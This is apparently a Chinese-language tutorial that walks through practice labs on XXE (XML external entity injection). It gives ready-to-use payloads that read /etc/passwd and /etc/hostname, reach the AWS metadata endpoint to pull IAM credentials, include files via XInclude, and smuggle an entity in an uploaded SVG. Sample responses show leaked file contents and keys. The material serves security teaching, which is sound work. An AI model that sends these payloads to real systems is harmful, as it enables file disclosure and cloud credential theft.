XXE

XXE,全名XML eXternal Entity Injection,XML外部實體注入。

以XML為基礎的網路應用程式沒有做好管控權限,直接讀取外部資源提供的 XML 檔案。攻擊者提供惡意XML檔案讓系統讀取,就有可以進行文件的共享、監聽內部網路、執行遠端程式,進而導致資料外洩,或系統被駭客接管。

XML 檔案有兩個特徵,DTD(Document Type Definition) 及 XML Schema。DTD 還可以分為4個部份, Elements(元素)、Attribute (屬性)、Entities(實體)及 Comments(註解) 。

XML 允許在 DTD 中定義自訂entities,如下。這表示Entities為&myentity;,值為my entity value

  • <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

假如想要使用eXternal Entity指定URL或file位置以讀取外部的內容,要用關鍵字SYSTEM,如下

  • <!DOCTYPE foo [ <!ENTITYmyentitySYSTEM "http://normal-website.com" > ]>
  • <!DOCTYPE foo [ <!ENTITYmyentitySYSTEM "file:///path/to/file" > ]>

利用這種XEE手法,常見的攻擊如下:

  • 利用XXE檢索文件
  • 利用XXE進行SSRF攻擊
  • 透過XInclude進行XXE攻擊
  • 透過檔案上傳進行XXE攻擊

利用XXE檢索文件

攻擊的方式如下,假設以下是正常的請求

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

使用XXE的攻擊請求如下,此 XXE 負載定義了一個外部實體&xxe;,其值是檔案的內容/etc/passwd,這可顯示/etc/passwd內容

############# request by attack #############  
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

############# reponse by attack #############
Invalid product ID: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin

Lab: Exploiting XXE using external entities to retrieve files


利用XXE進行SSRF攻擊

假如http://169.254.169.254/latest/meta-data/iam/security-credentials/admin只有內網才能存取,可以在外網透過XXE進行SSRF攻擊,如下

############# request by attack #############  
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> 
<stockCheck><productId>&xxe;</productId>

############# reponse by attack #############
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 546

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2020-08-19T03:43:39.176713Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "Rw8ffdkGeXEVhMfdhxEl",
  "SecretAccessKey" : "8P2lHSNgVomPinNCCniZT0QoUqILr4nYl91zpHQU",
  "Token" : "ZhPYfU69Xs0tiFPiBErTfIMNN8r4dL1rwG81wkRVADmzpJQE52tJL2fdQiVLQok1DEdkY1NxAdYGMgjPTBR8ht4PHO2BiGLWtq1CGkwLPMfsdIJszMuPuIoLFC2lMDemGQq3t9zd7KLaLQIxOSgzatdWoF2yv3MnGrEVXUUSu3Y8RINJYDERrimhTfhanSJ3XjFeBrvDp9DOHdKAAEpRV0mqcToQhlONRfDAJtqvGD2qzGlJ9pPph4aznmf8d8no",
  "Expiration" : "2026-08-18T03:43:39.176713Z"
}"

Lab: Exploiting XXE to perform SSRF attacks


透過XInclude進行XXE攻擊

XInclude是 XML 規範的一部分,允許從子文檔建立 XML 文件。要使用這種方式做攻擊,需要引用XInclude名稱空間並提供您希望包含的檔案的路徑,如下,可顯示/etc/passwd內容

############# attack request ############# 
POST /product/stock HTTP/1.1
...omit...
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

############# attack response ############# 
...omit...
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...omit...

Lab: Exploiting XInclude to retrieve files


透過檔案上傳進行XXE攻擊

應用程式可能允許使用者上傳圖像,並在上傳後讓伺服器處理或驗證這些圖像。即使應用程式期望接收 PNG 或 JPEG 等格式,正在使用的影像處理庫也可能支援 SVG 影像。由於SVG格式使用XML,攻擊者可以提交惡意SVG映像,從而達到XXE漏洞的隱藏攻擊面

例如,建立一個svg檔案如下,然後上傳到有XXE漏洞的網站

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

上傳後就可以在圖片看到/etc/hostname

Lab: Exploiting XXE via image file upload